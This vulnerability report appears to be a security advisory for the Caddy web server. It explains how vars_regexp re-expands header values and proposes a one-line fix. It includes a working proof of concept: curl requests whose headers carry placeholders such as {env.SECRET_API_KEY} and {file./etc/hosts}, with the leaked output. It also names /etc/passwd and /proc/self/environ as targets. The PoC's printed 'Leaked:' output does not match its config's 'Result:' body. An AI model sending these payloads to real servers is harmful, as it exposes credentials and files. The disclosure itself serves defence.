Caddy's vars_regexp double-expands user input, leaking env vars and files

Summary

The vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

header_regexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.

Details

The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():

valExpanded := repl.ReplaceAll(varStr, "")
if match := val.Match(valExpanded, repl); match {

When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.*}, {file.*}, {system.*} placeholders the user put in there.

For comparison, header_regexp (matchers.go:1129) and path_regexp (matchers.go:703) both pass values directly to Match() without this second expansion.

This repl.ReplaceAll() was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.

Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:*

Config with both matchers on the same server:

{
  "admin": {"disabled": true},
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":8080"],
          "routes": [
            {
              "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}]
            },
            {
              "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}]
            }
          ]
        }
      }
    }
  }
}

$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.HOME}                           # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp
vars_regexp: /Users/test                           # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.SECRET}                         # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp
vars_regexp: supersecretvalue123                    # secret leaked

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp
header_regexp: {file./etc/hosts}                    # literal string, safe

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp
vars_regexp: ##                                     # file contents leaked

PoC

Save this as config.json:

{
  "admin": {"disabled": true},
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":8080"],
          "routes": [
            {
              "match": [
                {
                  "vars_regexp": {
                    "{http.request.header.X-Input}": {
                      "name": "leak",
                      "pattern": ".+"
                    }
                  }
                }
              ],
              "handle": [
                {
                  "handler": "static_response",
                  "body": "Result: {http.regexp.leak.0}"
                }
              ]
            },
            {
              "handle": [
                {
                  "handler": "static_response",
                  "body": "No match",
                  "status_code": "200"
                }
              ]
            }
          ]
        }
      }
    }
  }
}

Start Caddy:

export SECRET_API_KEY=sk-PRODUCTION-abcdef123456
caddy run --config config.json

Requests and output:

$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: hello
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 13
<
Leaked: hello

$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.HOME}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 20
<
Leaked: /Users/test

$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.SECRET_API_KEY}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 34
<
Leaked: sk-PRODUCTION-abcdef123456

$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {file./etc/hosts}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 10
<
Leaked: ##

Also works with {system.hostname}, {system.os}, {env.PATH}, etc.

Debug log (server starts clean, no errors):

{"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"}
{"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807}
{"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"}
{"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"}
{"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"}
{"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"}
{"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}

Impact

Information disclosure. An attacker can leak:
- Environment variables ({env.DATABASE_URL}, {env.AWS_SECRET_ACCESS_KEY}, etc.)
- File contents up to 1MB ({file./etc/passwd}, {file./proc/self/environ})
- System info ({system.hostname}, {system.os}, {system.wd})

Requires a config where vars_regexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix:

--- a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
            varStr = fmt.Sprintf("%v", vv)
        }

-       valExpanded := repl.ReplaceAll(varStr, "")
+       valExpanded := varStr
        if match := val.Match(valExpanded, repl); match {
            return match, nil
        }

This makes vars_regexp consistent with header_regexp and path_regexp. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at 95941a71 (2026-02-17).

AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.